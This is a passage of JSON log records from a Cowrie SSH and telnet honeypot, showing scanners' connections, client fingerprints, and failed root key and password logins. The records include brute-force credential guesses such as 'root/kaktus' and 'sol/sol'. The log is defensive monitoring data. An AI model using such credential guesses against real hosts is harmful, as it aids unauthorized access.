{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:46:25.197183Z","src_ip":"172.104.175.234","session":"0869bd036447","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:46:25.438195Z","src_ip":"172.104.175.234","session":"0869bd036447","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"95:23:66:3f:48:46:d3:f8:35:42:5d:6d:5c:20:12:00","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDw9t33jFi80qTswMiO22qPBPEda8MMmONjwm/tyr0IcROKQOnZmRagMDcEUTGCyi3bMV9+4e1pz5SLEE8rcFp2pNLOhE2c0GQwWvyHBbsGQhlIJo6jLYzQmnjYgXPlDZnfQa9vfGul3Vw7jG3RQBqh2VHqz3bE4BEmoR3OMj6JgvivwEvTwoWrWfx+3TXapSQpVKMOZbdoEQN30cGLsqAUFctPoY/ldRi4KFek+KmmOrbWalb0Jmxwoj+XxH6hsxgOypf7enyQOxiHaQdMCAD9CaMgma6j6uhWiAC+Cmi9Ondx5Ot4lXiGQmtCLDMJM21sa8AeEZ6wdkbmMOvXhDC1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 95:23:66:3f:48:46:d3:f8:35:42:5d:6d:5c:20:12:00","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:46:26.615724Z","src_ip":"172.104.175.234","session":"0869bd036447","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"95:23:66:3f:48:46:d3:f8:35:42:5d:6d:5c:20:12:00","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDw9t33jFi80qTswMiO22qPBPEda8MMmONjwm/tyr0IcROKQOnZmRagMDcEUTGCyi3bMV9+4e1pz5SLEE8rcFp2pNLOhE2c0GQwWvyHBbsGQhlIJo6jLYzQmnjYgXPlDZnfQa9vfGul3Vw7jG3RQBqh2VHqz3bE4BEmoR3OMj6JgvivwEvTwoWrWfx+3TXapSQpVKMOZbdoEQN30cGLsqAUFctPoY/ldRi4KFek+KmmOrbWalb0Jmxwoj+XxH6hsxgOypf7enyQOxiHaQdMCAD9CaMgma6j6uhWiAC+Cmi9Ondx5Ot4lXiGQmtCLDMJM21sa8AeEZ6wdkbmMOvXhDC1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:46:26.619402Z","src_ip":"172.104.175.234","session":"0869bd036447","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38814,"dst_ip":"10.17.0.5","dst_port":23,"session":"e356906fade7","protocol":"telnet","message":"New connection: 152.42.224.71:38814 (10.17.0.5:23) [session: e356906fade7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:46:26.713205Z"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"16:4f:1d:da:ea:37:fc:fe:cf:eb:27:26:21:62:7b:d0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCyy3OUaOXDAymFefRPzv7Sjtd13oul+VL4QzOSMEpHg3vuR91oC8Xv8q5c4G+DO5PUpwUs1fZSk3lCNCt4j2meE6KWL1ld8/NnlBBeoKETp6z5Q/hOBmrVw0c9xUOnuWxIZo1I4o8FOqJapJrKS2aOe9zb5JHOTV6IXcnFoHNsYXMy3QXkqXMNDvjz/WEED35Qu0iXMnLjwpMZ85yqKFw+spn5dCMfZLZ/2IMROl8HwgS6MuRtATjy4WhDWwa2VkJsT5WDkqF5CH1njrjPfbPM+5zBhdJJrY/De2KY8Aql+iiyNEWTlFWTAgFfn1b3hHpf/1jcrZIDpVDNC5LeZ5X5CCoEs4n7JKgEoIP8kkdwx8RKf1YAfWd0kl7EOmG1KUVPtYEHK3OQvtLlV9ss60VdIOEgWjJaZfv5+CfEM9JwS7iGn1tzO4pJr7bSeLOEfQrqgmH+w+suBwvv+AbcKLePUUBjvMupZKePjzfxIAt4TyOr4VDi4heYNtUrzEXIlsb1GAf5axMTKERLsruzpJdp5KuCaYO12Qsn6R9fx8MwuWPb+OhQ3BRKfXDCoNXCR45oUO+97BWsYyg7SSAo41P4Fe7Ny9L1e1q8mgHqM4BzAsY/4OY2m+q8xk7GXBJ2X3A/h4v3cBPMdsjZSahobjjVPSI0b4uZ9TUap0lFuBUpaQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 16:4f:1d:da:ea:37:fc:fe:cf:eb:27:26:21:62:7b:d0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:46:26.860475Z","src_ip":"172.104.175.234","session":"0869bd036447","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"16:4f:1d:da:ea:37:fc:fe:cf:eb:27:26:21:62:7b:d0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCyy3OUaOXDAymFefRPzv7Sjtd13oul+VL4QzOSMEpHg3vuR91oC8Xv8q5c4G+DO5PUpwUs1fZSk3lCNCt4j2meE6KWL1ld8/NnlBBeoKETp6z5Q/hOBmrVw0c9xUOnuWxIZo1I4o8FOqJapJrKS2aOe9zb5JHOTV6IXcnFoHNsYXMy3QXkqXMNDvjz/WEED35Qu0iXMnLjwpMZ85yqKFw+spn5dCMfZLZ/2IMROl8HwgS6MuRtATjy4WhDWwa2VkJsT5WDkqF5CH1njrjPfbPM+5zBhdJJrY/De2KY8Aql+iiyNEWTlFWTAgFfn1b3hHpf/1jcrZIDpVDNC5LeZ5X5CCoEs4n7JKgEoIP8kkdwx8RKf1YAfWd0kl7EOmG1KUVPtYEHK3OQvtLlV9ss60VdIOEgWjJaZfv5+CfEM9JwS7iGn1tzO4pJr7bSeLOEfQrqgmH+w+suBwvv+AbcKLePUUBjvMupZKePjzfxIAt4TyOr4VDi4heYNtUrzEXIlsb1GAf5axMTKERLsruzpJdp5KuCaYO12Qsn6R9fx8MwuWPb+OhQ3BRKfXDCoNXCR45oUO+97BWsYyg7SSAo41P4Fe7Ny9L1e1q8mgHqM4BzAsY/4OY2m+q8xk7GXBJ2X3A/h4v3cBPMdsjZSahobjjVPSI0b4uZ9TUap0lFuBUpaQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:46:26.866058Z","src_ip":"172.104.175.234","session":"0869bd036447","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"50:35:7a:d2:d3:4a:c1:4d:47:4e:f1:df:e0:ca:8e:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCcJ5DrZorBO7NlWSPPcHuVBPGLgHhjwv926aBgLpKSb9eSUQYqr7GA1cbCK+ageSDLIWneThKYx/L4kJzISyACr8sbqUF4lrNoVHVDzcUtMvu3gDKLmugNt/5JoDUsIWxZdj8m+T0ZISPg08U8NMFgHS7pRs7S1HBXiCDGxVd9kcwlijW8nOZVdWZr6GCbUmdlcX3Y84FgvcCmaDH6EnMEOcEYEHajjDfM+kWLUKGg/nTjU1Gm8elIgQj3tGXMTCOmAFAfKVXAQbhpK86M800vcUnaaMgyyVPiqP6ttcBAvSnastStlFkJfpj/wv1f7hwoTdEJaO1VXI2zQ9AFJ2fNT54bzxeRx9BGtIv/fdmYmHkOp6bdELoImpabtA92fEPKk1nI96qdnt09BSlIwlxRO+9yWy0GfzF3mpo38xi8EizZbYoESBvtY5qTmw/eDyl0hrc1jodvyovgYr+QOo0g26bj8cX3jKV3kgeGvnfIccEI7P31wq7GcErElOBES3EsovNSAVVYnEuK3XX7UPeMIrqJR31fg9dLbWVutvY6q+8hNTtQWcycM2B6Ngs3QvBQ5ulVRgWJTXfD2mBRC+YbHfFKFQLmbxCe54jIQ3Gln4z4mLLReegI2G4iacGnmj+1AI+DNCFac9GlKHJed15nD41ihBZzWCFL7hUPlKEVoQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 50:35:7a:d2:d3:4a:c1:4d:47:4e:f1:df:e0:ca:8e:a9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:46:27.109217Z","src_ip":"172.104.175.234","session":"0869bd036447","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"50:35:7a:d2:d3:4a:c1:4d:47:4e:f1:df:e0:ca:8e:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCcJ5DrZorBO7NlWSPPcHuVBPGLgHhjwv926aBgLpKSb9eSUQYqr7GA1cbCK+ageSDLIWneThKYx/L4kJzISyACr8sbqUF4lrNoVHVDzcUtMvu3gDKLmugNt/5JoDUsIWxZdj8m+T0ZISPg08U8NMFgHS7pRs7S1HBXiCDGxVd9kcwlijW8nOZVdWZr6GCbUmdlcX3Y84FgvcCmaDH6EnMEOcEYEHajjDfM+kWLUKGg/nTjU1Gm8elIgQj3tGXMTCOmAFAfKVXAQbhpK86M800vcUnaaMgyyVPiqP6ttcBAvSnastStlFkJfpj/wv1f7hwoTdEJaO1VXI2zQ9AFJ2fNT54bzxeRx9BGtIv/fdmYmHkOp6bdELoImpabtA92fEPKk1nI96qdnt09BSlIwlxRO+9yWy0GfzF3mpo38xi8EizZbYoESBvtY5qTmw/eDyl0hrc1jodvyovgYr+QOo0g26bj8cX3jKV3kgeGvnfIccEI7P31wq7GcErElOBES3EsovNSAVVYnEuK3XX7UPeMIrqJR31fg9dLbWVutvY6q+8hNTtQWcycM2B6Ngs3QvBQ5ulVRgWJTXfD2mBRC+YbHfFKFQLmbxCe54jIQ3Gln4z4mLLReegI2G4iacGnmj+1AI+DNCFac9GlKHJed15nD41ihBZzWCFL7hUPlKEVoQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:46:27.113507Z","src_ip":"172.104.175.234","session":"0869bd036447","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9f:b5:0f:96:e1:b5:d1:43:25:fd:50:73:7e:f6:fc:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDA3n8ZFNgHKh9VlYc0jxbJGXk6WnfzBCb7agzSC05q7gffNaCCbP2BeORpCJdnoHR8S/8jtGiO9LoLzfCGNOCp77AG3th5RCRJvGt0EeC1jik1RmKlt7DDiQkbmknSOi25U0Ht3RQhjxiyiKVfGT+/db8wDf03w8C9BW3bCxx50vSIUU8BiXzuqFSSA6FvFx1NcCetmrsP+Z+lhI0Ct/jrMLoBMunzORyQJAW6xU/WiejqCiHOYY0f7uyEOksuh7uh61Um45+GUHa6Rdc+XhWdIn4qM830ImRjbUS3PSdWr7p7Q2sZEkAHKsfN3YVSj5uJhqfZijZCJbQTxouf1vf5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9f:b5:0f:96:e1:b5:d1:43:25:fd:50:73:7e:f6:fc:fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:46:27.354392Z","src_ip":"172.104.175.234","session":"0869bd036447","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9f:b5:0f:96:e1:b5:d1:43:25:fd:50:73:7e:f6:fc:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDA3n8ZFNgHKh9VlYc0jxbJGXk6WnfzBCb7agzSC05q7gffNaCCbP2BeORpCJdnoHR8S/8jtGiO9LoLzfCGNOCp77AG3th5RCRJvGt0EeC1jik1RmKlt7DDiQkbmknSOi25U0Ht3RQhjxiyiKVfGT+/db8wDf03w8C9BW3bCxx50vSIUU8BiXzuqFSSA6FvFx1NcCetmrsP+Z+lhI0Ct/jrMLoBMunzORyQJAW6xU/WiejqCiHOYY0f7uyEOksuh7uh61Um45+GUHa6Rdc+XhWdIn4qM830ImRjbUS3PSdWr7p7Q2sZEkAHKsfN3YVSj5uJhqfZijZCJbQTxouf1vf5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:46:27.358604Z","src_ip":"172.104.175.234","session":"0869bd036447","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5b:78:77:4c:67:bb:f7:e2:7c:34:8a:6b:59:ae:e2:f6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdrQMXBHYSLT/vA2wPwZ2X4TnROWoqUvC5ISpUjEL2uQM0mw2lgvbDxGYi1PgbD7Xslcx+LmkiKfBCCKoHvnwpDaw56KSPBRYpK26D6qpKJD52iou5cbvIcuV5PmiHirv/uge20vXyvTg4AK0VIWSLuCM1VEZJr3aGMM9nkWuzstmvj5Lrswtbz2NufcUB/y04VfF2T2avPmfMJRwFuTCXSwx9Zq1MWMBmnhSfzLZk7PfaSppeIWT6brLlFCb7iQ5mSlin1pl8Ako6JvjvirhhH9pGg3qgnSErpNH+icqOPrfC2Y2vKMi2xtcjbXsvsyT9AvwcJu78oWqqkcpbR+8J","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5b:78:77:4c:67:bb:f7:e2:7c:34:8a:6b:59:ae:e2:f6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:46:27.602164Z","src_ip":"172.104.175.234","session":"0869bd036447","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5b:78:77:4c:67:bb:f7:e2:7c:34:8a:6b:59:ae:e2:f6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdrQMXBHYSLT/vA2wPwZ2X4TnROWoqUvC5ISpUjEL2uQM0mw2lgvbDxGYi1PgbD7Xslcx+LmkiKfBCCKoHvnwpDaw56KSPBRYpK26D6qpKJD52iou5cbvIcuV5PmiHirv/uge20vXyvTg4AK0VIWSLuCM1VEZJr3aGMM9nkWuzstmvj5Lrswtbz2NufcUB/y04VfF2T2avPmfMJRwFuTCXSwx9Zq1MWMBmnhSfzLZk7PfaSppeIWT6brLlFCb7iQ5mSlin1pl8Ako6JvjvirhhH9pGg3qgnSErpNH+icqOPrfC2Y2vKMi2xtcjbXsvsyT9AvwcJu78oWqqkcpbR+8J","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:46:27.606158Z","src_ip":"172.104.175.234","session":"0869bd036447","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:46:27.846219Z","src_ip":"172.104.175.234","session":"0869bd036447","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.02457094192505,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:46:51.741799Z","src_ip":"152.42.224.71","session":"ebaa4abb19ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.168","src_port":47516,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b6602e241d7","protocol":"ssh","message":"New connection: 80.94.92.168:47516 (10.17.0.5:22) [session: 0b6602e241d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:47:11.145035Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:47:11.253702Z","src_ip":"80.94.92.168","session":"0b6602e241d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47732,"dst_ip":"10.17.0.5","dst_port":23,"session":"2bfce4463bed","protocol":"telnet","message":"New connection: 152.42.224.71:47732 (10.17.0.5:23) [session: 2bfce4463bed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:47:15.499633Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39488,"dst_ip":"10.17.0.5","dst_port":23,"session":"1dca63340826","protocol":"telnet","message":"New connection: 152.42.224.71:39488 (10.17.0.5:23) [session: 1dca63340826]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:47:18.222430Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":60502,"dst_ip":"10.17.0.5","dst_port":22,"session":"af93011aa847","protocol":"ssh","message":"New connection: 193.228.128.84:60502 (10.17.0.5:22) [session: af93011aa847]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:47:19.803582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:47:19.808339Z","src_ip":"193.228.128.84","session":"af93011aa847","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:47:19.910093Z","src_ip":"193.228.128.84","session":"af93011aa847","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kaktus","message":"login attempt [root/kaktus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:47:20.216195Z","src_ip":"193.228.128.84","session":"af93011aa847","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:47:21.320945Z","src_ip":"193.228.128.84","session":"af93011aa847","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.171","src_port":40932,"dst_ip":"159.203.135.109","dst_port":22,"session":"8227d72b5f07","protocol":"ssh","message":"New connection: 80.94.92.171:40932 (159.203.135.109:22) [session: 8227d72b5f07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:47:22.887828Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:47:23.051259Z","src_ip":"80.94.92.171","session":"8227d72b5f07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:47:23.056192Z","src_ip":"80.94.92.171","session":"8227d72b5f07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:47:23.890118Z","src_ip":"80.94.92.171","session":"8227d72b5f07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:47:25.095094Z","src_ip":"80.94.92.171","session":"8227d72b5f07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":39510,"dst_ip":"10.17.0.5","dst_port":22,"session":"df21c2e1bfa5","protocol":"ssh","message":"New connection: 103.183.114.55:39510 (10.17.0.5:22) [session: df21c2e1bfa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:47:29.590281Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:47:29.597664Z","src_ip":"103.183.114.55","session":"df21c2e1bfa5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["n